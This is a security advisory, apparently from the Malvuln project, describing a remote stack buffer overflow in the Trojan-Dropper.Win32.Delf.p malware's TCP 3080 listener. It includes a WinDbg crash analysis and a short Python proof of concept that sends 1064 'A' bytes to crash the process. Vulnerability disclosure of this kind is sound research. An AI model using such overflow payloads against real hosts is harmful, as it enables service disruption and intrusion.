TROJAN-DROPPER.WIN32.DELF.P / Remote Buffer Overflow

us malvuln (US) us
Risk: High
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Trojan-Dropper.Win32.Delf.p Vulnerability: Remote Buffer Overflow Description: Delf.p accepts connections on various TCP/UDP ports. Attackers who can reach TCP port 3080 can send a specially crafted packet to trigger a buffer overflow corrupting the stack overwriting ECX register. Type: PE32 MD5: b02cc578d2e7f24fb67ec0afc42a9e13 Vuln ID: MVID-2021-0133 Dropped files: mmtask.exe ASLR: False DEP: False Safe SEH: True Disclosure: 03/16/2021 Memory Dump: (b7c.f00): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414135 edx=00000008 esi=00000003 edi=00000003 eip=7710ed3c esp=0580f56c ebp=0580f6fc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:012> .ecxr eax=ffffffff ebx=04408440 ecx=41414135 edx=00000008 esi=04e4b09d edi=04e40048 eip=761972cb esp=0580fe8c ebp=0580fe8c iopl=0 nv up ei ng nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286 kernel32!InterlockedDecrementStub+0xb: 761972cb f00fc101 lock xadd dword ptr [ecx],eax ds:002b:41414135=???????? *** WARNING: Unable to verify timestamp for mmtask.exe *** ERROR: Module load completed but symbols could not be loaded for mmtask.exe 0:012> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: kernel32!InterlockedDecrementStub+b 761972cb f00fc101 lock xadd dword ptr [ecx],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 761972cb (kernel32!InterlockedDecrementStub+0x0000000b) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414135 Attempt to write to address 41414135 PROCESS_NAME: mmtask.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 41414135 WRITE_ADDRESS: 41414135 FOLLOWUP_IP: mmtask+99891 00499891 85c0 test eax,eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000f00 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff LAST_CONTROL_TRANSFER: from 00499891 to 761972cb STACK_TEXT: 0580fe8c 00499891 41414135 04e40048 00410098 kernel32!InterlockedDecrementStub+0xb WARNING: Stack unwind information not available. Following frames may be wrong. 0580feb0 0040fca8 025191c8 00498a85 00000001 mmtask+0x99891 0580ff4c 00485c89 051bfb0c 00485c20 00485c20 mmtask+0xfca8 0580ff80 76198654 04408440 76198630 e41feed3 mmtask+0x85c89 0580ff94 77104a77 04408440 9dc38a17 00000000 kernel32!BaseThreadInitThunk+0x24 0580ffdc 77104a47 ffffffff 77129ed9 00000000 ntdll!__RtlUserThreadStart+0x2f 0580ffec 00000000 00485c20 04408440 00000000 ntdll!_RtlUserThreadStart+0x1b SYMBOL_STACK_INDEX: 1 SYMBOL_NAME: mmtask+99891 FOLLOWUP_NAME: MachineOwner MODULE_NAME: mmtask IMAGE_NAME: mmtask.exe DEBUG_FLR_IMAGE_TIMESTAMP: 367709e4 STACK_COMMAND: ~12s; .ecxr ; kb FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mmtask.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mmtask+99891 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=3080 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) dirty0tis_made_me_do_it="A"*1064 s.send(dirty0tis_made_me_do_it) s.close() print("Trojan-Dropper.Win32.Delf.p / Remote Buffer Overflow") print("MD5: b02cc578d2e7f24fb67ec0afc42a9e13") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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